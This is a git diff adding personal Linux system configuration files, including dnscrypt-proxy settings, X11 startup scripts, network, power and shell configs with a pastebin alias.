|
||||||
|
[static.'dnscrypt']
|
||||||
|
stamp = 'sdns://AQcAAAAAAAAAEzE0Ni4xODUuMTY3LjQzOjUzNTMgs6WXaRRXWwSJ4Z-unEPmefryjFcYlwAxf3u0likfsJUcMi5kbnNjcnlwdC1jZXJ0LnNlY3VyZWRucy5ldQ'
|
||||||
|
|
||||||
|
[static.'cisco']
|
||||||
|
stamp = 'sdns://AQAAAAAAAAAADjIwOC42Ny4yMjAuMjIwILc1EUAgbyJdPivYItf9aR6hwzzI1maNDL4Ev6vKQ_t5GzIuZG5zY3J5cHQtY2VydC5vcGVuZG5zLmNvbQ'
|
||||||
395
dnscrypt-proxy/dnscrypt-proxy.toml.pacnew
Normal file
395
dnscrypt-proxy/dnscrypt-proxy.toml.pacnew
Normal file
|
|
@ -0,0 +1,395 @@
|
||||||
|
|
||||||
|
##############################################
|
||||||
|
# #
|
||||||
|
# dnscrypt-proxy configuration #
|
||||||
|
# #
|
||||||
|
##############################################
|
||||||
|
|
||||||
|
## This is an example configuration file.
|
||||||
|
## You should adjust it to your needs, and save it as "dnscrypt-proxy.toml"
|
||||||
|
##
|
||||||
|
## Online documentation is available here: https://dnscrypt.info/doc
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
##################################
|
||||||
|
# Global settings #
|
||||||
|
##################################
|
||||||
|
|
||||||
|
## List of servers to use
|
||||||
|
## If this line is commented, all registered servers matching the require_* filters
|
||||||
|
## will be used
|
||||||
|
## The proxy will automatically pick the fastest, working servers from the list.
|
||||||
|
## Remove the leading # first to enable this; lines starting with # are ignored.
|
||||||
|
|
||||||
|
# server_names = ['scaleway-fr', 'google', 'yandex']
|
||||||
|
|
||||||
|
|
||||||
|
## List of local addresses and ports to listen to. Can be IPv4 and/or IPv6.
|
||||||
|
## To only use systemd activation sockets, use an empty set: []
|
||||||
|
|
||||||
|
listen_addresses = []
|
||||||
|
|
||||||
|
|
||||||
|
## Maximum number of simultaneous client connections to accept
|
||||||
|
|
||||||
|
max_clients = 250
|
||||||
|
|
||||||
|
|
||||||
|
## Require servers (from static + remote sources) to satisfy specific properties
|
||||||
|
|
||||||
|
# Use servers reachable over IPv4
|
||||||
|
ipv4_servers = true
|
||||||
|
|
||||||
|
# Use servers reachable over IPv6 -- Do not enable if you don't have IPv6 connectivity
|
||||||
|
ipv6_servers = false
|
||||||
|
|
||||||
|
# Use servers implementing the DNSCrypt protocol
|
||||||
|
dnscrypt_servers = true
|
||||||
|
|
||||||
|
# Use servers implementing the DNS-over-HTTPS protocol
|
||||||
|
doh_servers = true
|
||||||
|
|
||||||
|
|
||||||
|
## Require servers defined by remote sources to satisfy specific properties
|
||||||
|
|
||||||
|
# Server must support DNS security extensions (DNSSEC)
|
||||||
|
require_dnssec = false
|
||||||
|
|
||||||
|
# Server must not log user queries (declarative)
|
||||||
|
require_nolog = true
|
||||||
|
|
||||||
|
# Server must not enforce its own blacklist (for parental control, ads blocking...)
|
||||||
|
require_nofilter = true
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Always use TCP to connect to upstream servers
|
||||||
|
|
||||||
|
force_tcp = false
|
||||||
|
|
||||||
|
|
||||||
|
## How long a DNS query will wait for a response, in milliseconds
|
||||||
|
|
||||||
|
timeout = 2500
|
||||||
|
|
||||||
|
|
||||||
|
## Load-balancing strategy: 'p2' (default), 'ph', 'fastest' or 'random'
|
||||||
|
|
||||||
|
# lb_strategy = 'p2'
|
||||||
|
|
||||||
|
|
||||||
|
## Log level (0-6, default: 2 - 0 is very verbose, 6 only contains fatal errors)
|
||||||
|
|
||||||
|
# log_level = 2
|
||||||
|
|
||||||
|
|
||||||
|
## log file for the application
|
||||||
|
|
||||||
|
# log_file = '/var/log/dnscrypt-proxy/dnscrypt-proxy.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Use the system logger (syslog on Unix, Event Log on Windows)
|
||||||
|
|
||||||
|
# use_syslog = true
|
||||||
|
|
||||||
|
|
||||||
|
## Delay, in minutes, after which certificates are reloaded
|
||||||
|
|
||||||
|
cert_refresh_delay = 240
|
||||||
|
|
||||||
|
|
||||||
|
## Fallback resolver
|
||||||
|
## This is a normal, non-encrypted DNS resolver, that will be only used
|
||||||
|
## for one-shot queries when retrieving the initial resolvers list, and
|
||||||
|
## only if the system DNS configuration doesn't work.
|
||||||
|
## No user application queries will ever be leaked through this resolver,
|
||||||
|
## and it will not be used after IP addresses of resolvers URLs have been found.
|
||||||
|
## It will never be used if lists have already been cached, and if stamps
|
||||||
|
## don't include host names without IP addresses.
|
||||||
|
## It will not be used if the configured system DNS works.
|
||||||
|
## A resolver supporting DNSSEC is recommended. This may become mandatory.
|
||||||
|
|
||||||
|
fallback_resolver = '9.9.9.9:53'
|
||||||
|
|
||||||
|
|
||||||
|
## Never try to use the system DNS settings; unconditionally use the
|
||||||
|
## fallback resolver.
|
||||||
|
|
||||||
|
ignore_system_dns = false
|
||||||
|
|
||||||
|
|
||||||
|
## Automatic log files rotation
|
||||||
|
|
||||||
|
# Maximum log files size in MB
|
||||||
|
log_files_max_size = 10
|
||||||
|
|
||||||
|
# How long to keep backup files, in days
|
||||||
|
log_files_max_age = 7
|
||||||
|
|
||||||
|
# Maximum log files backups to keep
|
||||||
|
log_files_max_backups = 1
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#########################
|
||||||
|
# Filters #
|
||||||
|
#########################
|
||||||
|
|
||||||
|
## Immediately respond to IPv6-related queries with an empty response
|
||||||
|
## This makes things faster when there is no IPv6 connectivity, but can
|
||||||
|
## also cause reliability issues with some stub resolvers. In
|
||||||
|
## particular, enabling this on macOS is not recommended.
|
||||||
|
|
||||||
|
block_ipv6 = false
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
##################################################################################
|
||||||
|
# Route queries for specific domains to a dedicated set of servers #
|
||||||
|
##################################################################################
|
||||||
|
|
||||||
|
## Example map entries (one entry per line):
|
||||||
|
## example.com 9.9.9.9
|
||||||
|
## example.net 9.9.9.9,8.8.8.8
|
||||||
|
|
||||||
|
# forwarding_rules = '/etc/dnscrypt-proxy/forwarding-rules.txt'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
###############################
|
||||||
|
# Cloaking rules #
|
||||||
|
###############################
|
||||||
|
|
||||||
|
## Cloaking returns a predefined address for a specific name.
|
||||||
|
## In addition to acting as a HOSTS file, it can also return the IP address
|
||||||
|
## of a different name. It will also do CNAME flattening.
|
||||||
|
##
|
||||||
|
## Example map entries (one entry per line)
|
||||||
|
## example.com 10.1.1.1
|
||||||
|
## www.google.com forcesafesearch.google.com
|
||||||
|
|
||||||
|
# cloaking_rules = '/etc/dnscrypt-proxy/cloaking-rules.txt'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
###########################
|
||||||
|
# DNS cache #
|
||||||
|
###########################
|
||||||
|
|
||||||
|
## Enable a DNS cache to reduce latency and outgoing traffic
|
||||||
|
|
||||||
|
cache = true
|
||||||
|
|
||||||
|
|
||||||
|
## Cache size
|
||||||
|
|
||||||
|
cache_size = 256
|
||||||
|
|
||||||
|
|
||||||
|
## Minimum TTL for cached entries
|
||||||
|
|
||||||
|
cache_min_ttl = 600
|
||||||
|
|
||||||
|
|
||||||
|
## Maximum TTL for cached entries
|
||||||
|
|
||||||
|
cache_max_ttl = 86400
|
||||||
|
|
||||||
|
|
||||||
|
## TTL for negatively cached entries
|
||||||
|
|
||||||
|
cache_neg_ttl = 60
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
###############################
|
||||||
|
# Query logging #
|
||||||
|
###############################
|
||||||
|
|
||||||
|
## Log client queries to a file
|
||||||
|
|
||||||
|
[query_log]
|
||||||
|
|
||||||
|
## Path to the query log file (absolute, or relative to the same directory as the executable file)
|
||||||
|
|
||||||
|
# file = '/var/log/dnscrypt-proxy/query.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Query log format (currently supported: tsv and ltsv)
|
||||||
|
|
||||||
|
format = 'tsv'
|
||||||
|
|
||||||
|
|
||||||
|
## Do not log these query types, to reduce verbosity. Keep empty to log everything.
|
||||||
|
|
||||||
|
# ignored_qtypes = ['DNSKEY', 'NS']
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############################################
|
||||||
|
# Suspicious queries logging #
|
||||||
|
############################################
|
||||||
|
|
||||||
|
## Log queries for nonexistent zones
|
||||||
|
## These queries can reveal the presence of malware, broken/obsolete applications,
|
||||||
|
## and devices signaling their presence to 3rd parties.
|
||||||
|
|
||||||
|
[nx_log]
|
||||||
|
|
||||||
|
## Path to the query log file (absolute, or relative to the same directory as the executable file)
|
||||||
|
|
||||||
|
# file = '/var/log/dnscrypt-proxy/nx.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Query log format (currently supported: tsv and ltsv)
|
||||||
|
|
||||||
|
format = 'tsv'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
######################################################
|
||||||
|
# Pattern-based blocking (blacklists) #
|
||||||
|
######################################################
|
||||||
|
|
||||||
|
## Blacklists are made of one pattern per line. Example of valid patterns:
|
||||||
|
##
|
||||||
|
## example.com
|
||||||
|
## *sex*
|
||||||
|
## ads.*
|
||||||
|
## ads*.example.*
|
||||||
|
## ads*.example[0-9]*.com
|
||||||
|
##
|
||||||
|
## Example blacklist files can be found at https://download.dnscrypt.info/blacklists/
|
||||||
|
## A script to build blacklists from public feeds can be found in the
|
||||||
|
## `utils/generate-domains-blacklists` directory of the dnscrypt-proxy source code.
|
||||||
|
|
||||||
|
[blacklist]
|
||||||
|
|
||||||
|
## Path to the file of blocking rules (absolute, or relative to the same directory as the executable file)
|
||||||
|
|
||||||
|
# blacklist_file = '/etc/dnscrypt-proxy/blacklist.txt'
|
||||||
|
|
||||||
|
|
||||||
|
## Optional path to a file logging blocked queries
|
||||||
|
|
||||||
|
# log_file = '/var/log/dnscrypt-proxy/blocked.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Optional log format: tsv or ltsv (default: tsv)
|
||||||
|
|
||||||
|
# log_format = 'tsv'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
###########################################################
|
||||||
|
# Pattern-based IP blocking (IP blacklists) #
|
||||||
|
###########################################################
|
||||||
|
|
||||||
|
## IP blacklists are made of one pattern per line. Example of valid patterns:
|
||||||
|
##
|
||||||
|
## 127.*
|
||||||
|
## fe80:abcd:*
|
||||||
|
## 192.168.1.4
|
||||||
|
|
||||||
|
[ip_blacklist]
|
||||||
|
|
||||||
|
## Path to the file of blocking rules (absolute, or relative to the same directory as the executable file)
|
||||||
|
|
||||||
|
# blacklist_file = '/etc/dnscrypt-proxy/ip-blacklist.txt'
|
||||||
|
|
||||||
|
|
||||||
|
## Optional path to a file logging blocked queries
|
||||||
|
|
||||||
|
# log_file = '/var/log/dnscrypt-proxy/ip-blocked.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Optional log format: tsv or ltsv (default: tsv)
|
||||||
|
|
||||||
|
# log_format = 'tsv'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
##########################################
|
||||||
|
# Time access restrictions #
|
||||||
|
##########################################
|
||||||
|
|
||||||
|
## One or more weekly schedules can be defined here.
|
||||||
|
## Patterns in the name-based blocklist can optionally be followed with @schedule_name
|
||||||
|
## to apply the pattern 'schedule_name' only when it matches a time range of that schedule.
|
||||||
|
##
|
||||||
|
## For example, the following rule in a blacklist file:
|
||||||
|
## *.youtube.* @time-to-sleep
|
||||||
|
## would block access to Youtube only during the days, and period of the days
|
||||||
|
## define by the 'time-to-sleep' schedule.
|
||||||
|
##
|
||||||
|
## {after='21:00', before= '7:00'} matches 0:00-7:00 and 21:00-0:00
|
||||||
|
## {after= '9:00', before='18:00'} matches 9:00-18:00
|
||||||
|
|
||||||
|
[schedules]
|
||||||
|
|
||||||
|
# [schedules.'time-to-sleep']
|
||||||
|
# mon = [{after='21:00', before='7:00'}]
|
||||||
|
# tue = [{after='21:00', before='7:00'}]
|
||||||
|
# wed = [{after='21:00', before='7:00'}]
|
||||||
|
# thu = [{after='21:00', before='7:00'}]
|
||||||
|
# fri = [{after='23:00', before='7:00'}]
|
||||||
|
# sat = [{after='23:00', before='7:00'}]
|
||||||
|
# sun = [{after='21:00', before='7:00'}]
|
||||||
|
|
||||||
|
# [schedules.'work']
|
||||||
|
# mon = [{after='9:00', before='18:00'}]
|
||||||
|
# tue = [{after='9:00', before='18:00'}]
|
||||||
|
# wed = [{after='9:00', before='18:00'}]
|
||||||
|
# thu = [{after='9:00', before='18:00'}]
|
||||||
|
# fri = [{after='9:00', before='17:00'}]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#########################
|
||||||
|
# Servers #
|
||||||
|
#########################
|
||||||
|
|
||||||
|
## Remote lists of available servers
|
||||||
|
## Multiple sources can be used simultaneously, but every source
|
||||||
|
## requires a dedicated cache file.
|
||||||
|
##
|
||||||
|
## Refer to the documentation for URLs of public sources.
|
||||||
|
##
|
||||||
|
## A prefix can be prepended to server names in order to
|
||||||
|
## avoid collisions if different sources share the same for
|
||||||
|
## different servers. In that case, names listed in `server_names`
|
||||||
|
## must include the prefixes.
|
||||||
|
##
|
||||||
|
## If the `url` property is missing, cache files and valid signatures
|
||||||
|
## must be already present; This doesn't prevent these cache files from
|
||||||
|
## expiring after `refresh_delay` hours.
|
||||||
|
|
||||||
|
[sources]
|
||||||
|
|
||||||
|
## An example of a remote source
|
||||||
|
|
||||||
|
[sources.'public-resolvers']
|
||||||
|
url = 'https://download.dnscrypt.info/resolvers-list/v2/public-resolvers.md'
|
||||||
|
cache_file = '/var/cache/dnscrypt-proxy/public-resolvers.md'
|
||||||
|
minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
|
||||||
|
refresh_delay = 72
|
||||||
|
prefix = ''
|
||||||
|
|
||||||
|
## Another example source, with resolvers censoring some websites not appropriate for children
|
||||||
|
## This is a subset of the `public-resolvers` list, so enabling both is useless
|
||||||
|
|
||||||
|
# [sources.'parental-control']
|
||||||
|
# url = 'https://download.dnscrypt.info/resolvers-list/v2/parental-control.md'
|
||||||
|
# cache_file = '/var/cache/dnscrypt-proxy/parental-control.md'
|
||||||
|
# minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Optional, local, static list of additional servers
|
||||||
|
## Mostly useful for testing your own servers.
|
||||||
|
|
||||||
|
[static]
|
||||||
|
|
||||||
|
# [static.'google']
|
||||||
|
# stamp = 'sdns://AgUAAAAAAAAAACDyXGrcc5eNecJ8nomJCJ-q6eCLTEn6bHic0hWGUwYQaA5kbnMuZ29vZ2xlLmNvbQ0vZXhwZXJpbWVudGFs'
|
||||||
1
etc/.ignore
Normal file
1
etc/.ignore
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
|
||||||
4
etc/NetworkManager.conf
Normal file
4
etc/NetworkManager.conf
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
# Configuration file for NetworkManager.
|
||||||
|
# See "man 5 NetworkManager.conf" for details.
|
||||||
|
[main]
|
||||||
|
dns=none
|
||||||
55
etc/X11/xinit/xinitrc
Normal file
55
etc/X11/xinit/xinitrc
Normal file
|
|
@ -0,0 +1,55 @@
|
||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
userresources=$HOME/.Xresources
|
||||||
|
usermodmap=$HOME/.Xmodmap
|
||||||
|
sysresources=/etc/X11/xinit/.Xresources
|
||||||
|
sysmodmap=/etc/X11/xinit/.Xmodmap
|
||||||
|
|
||||||
|
# merge in defaults and keymaps
|
||||||
|
|
||||||
|
if [ -f $sysresources ]; then
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
xrdb -merge $sysresources
|
||||||
|
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f $sysmodmap ]; then
|
||||||
|
xmodmap $sysmodmap
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f "$userresources" ]; then
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
xrdb -merge "$userresources"
|
||||||
|
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ -f "$usermodmap" ]; then
|
||||||
|
xmodmap "$usermodmap"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# start some nice programs
|
||||||
|
|
||||||
|
if [ -d /etc/X11/xinit/xinitrc.d ] ; then
|
||||||
|
for f in /etc/X11/xinit/xinitrc.d/?*.sh ; do
|
||||||
|
[ -x "$f" ] && . "$f"
|
||||||
|
done
|
||||||
|
unset f
|
||||||
|
fi
|
||||||
|
|
||||||
|
twm &
|
||||||
|
xclock -geometry 50x50-1+1 &
|
||||||
|
xterm -geometry 80x50+494+51 &
|
||||||
|
xterm -geometry 80x20+494-0 &
|
||||||
|
exec xterm -geometry 80x66+0+0 -name login
|
||||||
13
etc/X11/xinit/xinitrc.d/40-libcanberra-gtk-module.sh
Normal file
13
etc/X11/xinit/xinitrc.d/40-libcanberra-gtk-module.sh
Normal file
|
|
@ -0,0 +1,13 @@
|
||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
case "${DESKTOP_SESSION-}" in
|
||||||
|
gnome*) # Done by gnome-settings-daemon
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
# Extra check in case DESKTOP_SESSION is not set correctly
|
||||||
|
if [ -z "${GNOME_DESKTOP_SESSION_ID-}" ]; then
|
||||||
|
GTK_MODULES="${GTK_MODULES:+$GTK_MODULES:}canberra-gtk-module"
|
||||||
|
export GTK_MODULES
|
||||||
|
fi
|
||||||
|
;;
|
||||||
|
esac
|
||||||
7
etc/X11/xinit/xinitrc.d/50-systemd-user.sh
Normal file
7
etc/X11/xinit/xinitrc.d/50-systemd-user.sh
Normal file
|
|
@ -0,0 +1,7 @@
|
||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
systemctl --user import-environment DISPLAY XAUTHORITY
|
||||||
|
|
||||||
|
if which dbus-update-activation-environment >/dev/null 2>&1; then
|
||||||
|
dbus-update-activation-environment DISPLAY XAUTHORITY
|
||||||
|
fi
|
||||||
2
etc/X11/xinit/xserverrc
Normal file
2
etc/X11/xinit/xserverrc
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
#!/bin/sh
|
||||||
|
exec /usr/bin/X -nolisten tcp "$@"
|
||||||
12
etc/X11/xorg.conf.d/20-intel.conf
Normal file
12
etc/X11/xorg.conf.d/20-intel.conf
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
#Section "Device"
|
||||||
|
# Identifier "Intel Graphics"
|
||||||
|
# Driver "intel"
|
||||||
|
# Option "DRI" "false"
|
||||||
|
#EndSection
|
||||||
|
Section "Device"
|
||||||
|
Identifier "Intel Graphics"
|
||||||
|
Driver "intel"
|
||||||
|
Option "DRI" "3"
|
||||||
|
Option "AccelMethod" "sna" # fallback
|
||||||
|
Option "TearFree" "true"
|
||||||
|
EndSection
|
||||||
14
etc/autofs
Normal file
14
etc/autofs
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
#
|
||||||
|
# Init syatem options
|
||||||
|
#
|
||||||
|
# If the kernel supports using the autofs miscellanous device
|
||||||
|
# and you wish to use it you must set this configuration option
|
||||||
|
# to "yes" otherwise it will not be used.
|
||||||
|
#
|
||||||
|
USE_MISC_DEVICE="yes"
|
||||||
|
#
|
||||||
|
# Use OPTIONS to add automount(8) command line options that
|
||||||
|
# will be used when the daemon is started.
|
||||||
|
#
|
||||||
|
#OPTIONS=""
|
||||||
|
#
|
||||||
12
etc/bashrc
Normal file
12
etc/bashrc
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
#
|
||||||
|
# ~/.bashrc
|
||||||
|
#
|
||||||
|
|
||||||
|
# If not running interactively, don't do anything
|
||||||
|
[[ $- != *i* ]] && return
|
||||||
|
|
||||||
|
alias ls='ls --color=auto'
|
||||||
|
PS1='[\u@\h \W]\$ '
|
||||||
|
alias pb='curl -F c=@- https://ptpb.pw/'
|
||||||
|
MSF_DATABASE_CONFIG='/etc/metasploit/database.yml'
|
||||||
|
export MSF_DATABASE_CONFIG
|
||||||
1
etc/blacklist.conf
Normal file
1
etc/blacklist.conf
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
blacklist r8822be
|
||||||
29
etc/cpupower
Normal file
29
etc/cpupower
Normal file
|
|
@ -0,0 +1,29 @@
|
||||||
|
# Define CPUs governor
|
||||||
|
# valid governors: ondemand, performance, powersave, conservative, userspace.
|
||||||
|
governor='performance'
|
||||||
|
|
||||||
|
# Limit frequency range
|
||||||
|
# Valid suffixes: Hz, kHz (default), MHz, GHz, THz
|
||||||
|
#min_freq="2.25GHz"
|
||||||
|
#max_freq="3GHz"
|
||||||
|
|
||||||
|
# Specific frequency to be set.
|
||||||
|
# Requires userspace governor to be available.
|
||||||
|
# Do not set governor field if you use this one.
|
||||||
|
#freq=
|
||||||
|
|
||||||
|
# Utilizes cores in one processor package/socket first before processes are
|
||||||
|
# scheduled to other processor packages/sockets.
|
||||||
|
# See man (1) CPUPOWER-SET for additional details.
|
||||||
|
#mc_scheduler=
|
||||||
|
|
||||||
|
# Utilizes thread siblings of one processor core first before processes are
|
||||||
|
# scheduled to other cores. See man (1) CPUPOWER-SET for additional details.
|
||||||
|
#smp_scheduler=
|
||||||
|
|
||||||
|
# Sets a register on supported Intel processore which allows software to convey
|
||||||
|
# its policy for the relative importance of performance versus energy savings to
|
||||||
|
# the processor. See man (1) CPUPOWER-SET for additional details.
|
||||||
|
#perf_bias=
|
||||||
|
|
||||||
|
# vim:set ts=2 sw=2 ft=sh et:
|
||||||
42
etc/dhcpcd.conf
Normal file
42
etc/dhcpcd.conf
Normal file
|
|
@ -0,0 +1,42 @@
|
||||||
|
# A sample configuration for dhcpcd.
|
||||||
|
# See dhcpcd.conf(5) for details.
|
||||||
|
|
||||||
|
# Allow users of this group to interact with dhcpcd via the control socket.
|
||||||
|
#controlgroup wheel
|
||||||
|
|
||||||
|
# Inform the DHCP server of our hostname for DDNS.
|
||||||
|
hostname
|
||||||
|
|
||||||
|
# Use the hardware address of the interface for the Client ID.
|
||||||
|
#clientid
|
||||||
|
# or
|
||||||
|
# Use the same DUID + IAID as set in DHCPv6 for DHCPv4 ClientID as per RFC4361.
|
||||||
|
# Some non-RFC compliant DHCP servers do not reply with this set.
|
||||||
|
# In this case, comment out duid and enable clientid above.
|
||||||
|
duid
|
||||||
|
|
||||||
|
# Persist interface configuration when dhcpcd exits.
|
||||||
|
persistent
|
||||||
|
|
||||||
|
# Rapid commit support.
|
||||||
|
# Safe to enable by default because it requires the equivalent option set
|
||||||
|
# on the server to actually work.
|
||||||
|
option rapid_commit
|
||||||
|
|
||||||
|
# A list of options to request from the DHCP server.
|
||||||
|
option domain_name_servers, domain_name, domain_search, host_name
|
||||||
|
option classless_static_routes
|
||||||
|
# Most distributions have NTP support.
|
||||||
|
option ntp_servers
|
||||||
|
# Respect the network MTU. This is applied to DHCP routes.
|
||||||
|
option interface_mtu
|
||||||
|
|
||||||
|
# A ServerID is required by RFC2131.
|
||||||
|
require dhcp_server_identifier
|
||||||
|
|
||||||
|
# Generate Stable Private IPv6 Addresses instead of hardware based ones
|
||||||
|
# slaac private
|
||||||
|
noipv4ll
|
||||||
|
nohook resolv.conf
|
||||||
|
ipv4only
|
||||||
|
noarp
|
||||||
243
etc/dnscrypt-proxy.conf
Normal file
243
etc/dnscrypt-proxy.conf
Normal file
|
|
@ -0,0 +1,243 @@
|
||||||
|
######################################################
|
||||||
|
# #
|
||||||
|
# Sample configuration file for dnscrypt-proxy #
|
||||||
|
# #
|
||||||
|
######################################################
|
||||||
|
|
||||||
|
|
||||||
|
############## Resolver settings ##############
|
||||||
|
|
||||||
|
## [CHANGE THIS] Short name of the resolver to use
|
||||||
|
## Usually the only thing you need to change in this configuration file.
|
||||||
|
## This corresponds to the first column in the dnscrypt-resolvers.csv file.
|
||||||
|
## Alternatively, "random" (without quotes) picks a random random resolver
|
||||||
|
## accessible over IPv4, that doesn't log and supports DNSSEC.
|
||||||
|
|
||||||
|
ResolverName securedns
|
||||||
|
|
||||||
|
|
||||||
|
## Full path to the list of available DNSCrypt resolvers (dnscrypt-resolvers.csv)
|
||||||
|
## An up-to-date list is available here:
|
||||||
|
## https://download.dnscrypt.org/dnscrypt-proxy/dnscrypt-resolvers.csv
|
||||||
|
## and the dnscrypt-update-resolvers.sh script can be used in order to
|
||||||
|
## automatically download and verify updates.
|
||||||
|
|
||||||
|
ResolversList /usr/share/dnscrypt-proxy/dnscrypt-resolvers.csv
|
||||||
|
|
||||||
|
|
||||||
|
## Manual settings, only for a custom resolver not present in the CSV file
|
||||||
|
|
||||||
|
# ProviderName 2.dnscrypt.resolver.example
|
||||||
|
# ProviderKey E801:B84E:A606:BFB0:BAC0:CE43:445B:B15E:BA64:B02F:A3C4:AA31:AE10:636A:0790:324D
|
||||||
|
# ResolverAddress 203.0.113.1:443
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############## Process options ##############
|
||||||
|
|
||||||
|
## [NOT AVAILABLE ON WINDOWS] Run the proxy as a background process.
|
||||||
|
## Unless you are using systemd, you probably want to change this to "yes"
|
||||||
|
## after having verified that the rest of the configuration works as expected.
|
||||||
|
|
||||||
|
Daemonize no
|
||||||
|
|
||||||
|
|
||||||
|
## Write the PID number to a file
|
||||||
|
|
||||||
|
# PidFile /var/run/dnscrypt-proxy.pid
|
||||||
|
|
||||||
|
|
||||||
|
## [NOT AVAILABLE ON WINDOWS] Start the process, bind the required ports, and
|
||||||
|
## run the server as a less-privileged system user.
|
||||||
|
## The value for this parameter is a user name.
|
||||||
|
|
||||||
|
User dnscrypt
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############## Network/protocol settings ##############
|
||||||
|
|
||||||
|
## Local address and port to listen to.
|
||||||
|
## A 127.0.0.x address is recommended for local use, but 0.0.0.0 or
|
||||||
|
## a specific interface address can be used on a router, or to
|
||||||
|
## configure a single machine to act as a DNS proxy for different
|
||||||
|
## devices.
|
||||||
|
## If the socket is created by systemd, the proxy cannot change the address
|
||||||
|
## using this option. You should edit systemd's dnscrypt-proxy.socket file
|
||||||
|
## instead.
|
||||||
|
|
||||||
|
# LocalAddress 127.0.0.1:53
|
||||||
|
|
||||||
|
|
||||||
|
## Cache DNS responses to avoid outgoing traffic when the same queries
|
||||||
|
## are repeated multiple times in a row.
|
||||||
|
|
||||||
|
LocalCache on
|
||||||
|
|
||||||
|
|
||||||
|
## Creates a new key pair for every query.
|
||||||
|
## This prevents logging servers from correlating client public keys with
|
||||||
|
## IP addresses. However, this option implies extra CPU load, and is not
|
||||||
|
## very useful with trusted/non-logging servers.
|
||||||
|
|
||||||
|
EphemeralKeys off
|
||||||
|
|
||||||
|
|
||||||
|
## Maximum number of active requests waiting for a response.
|
||||||
|
## Keep it reasonable relative to the expected number of clients.
|
||||||
|
|
||||||
|
# MaxActiveRequests 250
|
||||||
|
|
||||||
|
|
||||||
|
## This is the maximum payload size allowed when using the UDP protocol.
|
||||||
|
## The default is safe, and rarely needs to be changed.
|
||||||
|
|
||||||
|
# EDNSPayloadSize 1252
|
||||||
|
|
||||||
|
|
||||||
|
## Ignore the time stamps when checking the certificates
|
||||||
|
## Do not enable this option ever, unless you know that you need it.
|
||||||
|
|
||||||
|
# IgnoreTimestamps no
|
||||||
|
|
||||||
|
|
||||||
|
## Do not send queries using UDP. Only use TCP.
|
||||||
|
## Even if some resolvers mitigate this, DNS over TCP is almost always slower
|
||||||
|
## than UDP and doesn't offer additional security.
|
||||||
|
## Only enable this option if UDP doesn't work on your network.
|
||||||
|
|
||||||
|
# TCPOnly no
|
||||||
|
|
||||||
|
|
||||||
|
## Forward queries for specific domains to one or more non-DNSCrypt resolvers.
|
||||||
|
## For instance, this can be used to redirect queries for local domains to
|
||||||
|
## the router, or queries for an internal domain to an internal DNS server.
|
||||||
|
## Multiple whitespace-delimited domains and IP addresses can be specified.
|
||||||
|
## Do not enable this unless you absolutely know you need it.
|
||||||
|
## If you see useless queries to these domains, you'd better block them with
|
||||||
|
## the BlackList feature instead of sending them in clear text to the router.
|
||||||
|
## This uses a plugin that requires dnscrypt-proxy to be compiled with
|
||||||
|
## the ldns library.
|
||||||
|
|
||||||
|
# Forward domains:"127.0.0.1" to:"8.8.8.8"
|
||||||
|
|
||||||
|
|
||||||
|
############## Logging ##############
|
||||||
|
|
||||||
|
## Log the received DNS queries to a file, so you can watch in real-time what
|
||||||
|
## is happening on the network.
|
||||||
|
## The value for this parameter is a full path to the log file.
|
||||||
|
## The file name can be prefixed with ltsv: in order to store logs using the
|
||||||
|
## LTSV format (ex: ltsv:/tmp/dns-queries.log).
|
||||||
|
|
||||||
|
# QueryLogFile /tmp/dns-queries.log
|
||||||
|
|
||||||
|
|
||||||
|
## Log file to write server errors and information to.
|
||||||
|
## If you use this tool for privacy, keeping logs of any kind is usually not
|
||||||
|
## a good idea.
|
||||||
|
|
||||||
|
# LogFile /var/log/dnscrypt-proxy.log
|
||||||
|
|
||||||
|
|
||||||
|
## Don't log events with priority above this log level after the service has
|
||||||
|
## been started up. Default is 6.
|
||||||
|
## Valid values are between 0 (critical) to 7 (debug-level messages).
|
||||||
|
|
||||||
|
# LogLevel 6
|
||||||
|
|
||||||
|
|
||||||
|
## [NOT AVAILABLE ON WINDOWS] Send server logs to the syslog daemon
|
||||||
|
## Log entries can optionally be prefixed with a string.
|
||||||
|
|
||||||
|
# Syslog off
|
||||||
|
